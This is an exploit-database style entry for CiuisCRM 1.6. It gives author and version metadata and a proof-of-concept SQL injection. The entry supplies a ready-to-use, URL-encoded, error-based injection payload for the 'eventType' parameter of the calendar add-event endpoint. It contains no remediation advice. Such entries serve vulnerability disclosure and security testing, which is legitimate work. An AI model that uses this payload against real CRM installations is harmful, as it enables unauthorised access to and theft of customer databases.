CiuisCRM 1.6 - 'eventType' SQL Injection

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# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.
# Dork: N/A
# Date: 27-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489
# Version: v1.6
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business.
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# POC - SQLi
# Parameters : eventType
# Attack Pattern :
-1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent
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